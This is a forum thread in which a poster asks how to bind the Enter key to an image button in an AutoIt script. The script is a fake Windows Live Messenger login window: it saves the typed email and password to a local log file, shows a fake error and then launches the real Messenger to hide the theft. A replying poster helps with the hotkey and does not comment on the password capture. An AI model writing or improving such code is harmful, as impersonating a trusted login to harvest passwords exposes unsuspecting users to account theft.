Jump to content

Recommended Posts

Posted

Hello there,

I'd like to set {ENTER} as the hotkey for my button called $Aanmelden.

I think it's pretty easy to fix, but I just don't know how...

Here's my attempt:

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Windows Live Messenger", 329, 636, 193, 125)
$Email = GUICtrlCreateInput("", 48, 212, 241, 21)
guictrlsetstate($Email,$gui_focus)
$Wachtwoord = GUICtrlCreateInput( "", 48, 258, 241, 21,  $ES_PASSWORD)
$Aanmelden = GUICtrlCreatePic("C:\ProjectCake\MKaanmelden.bmp", 112, 448, 69, 21, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetState()
guictrlsetstate($Aanmelden,$GUI_DEFBUTTON)
$MSNVenster = GUICtrlCreatePic("C:\ProjectCake\MWgeenknopgeenvakken.bmp", 0, 0, 329, 636, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))

GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
             HotKeySet("{Enter}", "$Aanmelden" ); Doesn't work
Case $Aanmelden                   

FileWriteLine("C:\ProjectCake\log.txt", GuiCtrlRead($Email))
FileWriteLine("C:\ProjectCake\log.txt", GuiCtrlRead($Wachtwoord))

sleep ( 2000 ) 
MsgBox ( 5, "Fout bij inloggen", "Je kunt je niet bij Windows Live Messenger worden aangemeld omdat de Windows Live ID onjuist is of niet bestaat. Klik op Wachtwoord vergeten? in het hoofdvenster van Messenger als je je wachtwoord vergeten bent. Foutcode: 67711nf3" ) 
if 2 then
winkill ( "Windows Live Messenger" )    
run ( "C:\Program Files\Windows Live\Messenger\msnmsgr.exe" , "C:\Program Files\Windows Live\Messenger\" ) 
endif   
    EndSwitch
WEnd

Thanks

Posted (edited)

Cant set a hotkey for a button...but you can set the {ENTER} button to 'click' on your button...add the Style...heres an example

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 177, 86, 193, 125)
$Button1 = GUICtrlCreateButton("Button1", 40, 24, 73, 33, $BS_DEFPUSHBUTTON)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
                                Case $Button1
                                           Msgbox(0, "test", "you pressed enter and this appeared")

    EndSwitch
WEnd

EDIT: also...you cant use HotKeySet() to call a variable...it must be a function.

Edited by Swift
Posted

When I add $BS_DEFPUSHBUTTON to my styles all I get is a gray button ( instead of the picture for the button ):

$Aanmelden = GUICtrlCreatePic("C:\ProjectCake\MKaanmelden.bmp", 112, 448, 69, 21, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS,$BS_DEFPUSHBUTTON))

What did I do wrong?

Posted

To my knowledge it wont work with Pics :) Its not recommended to hotkeyset...and then call a function...because you will have to do your loop and everything else in the function...which kinda sucks..so...maybe someone knows a better idea...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...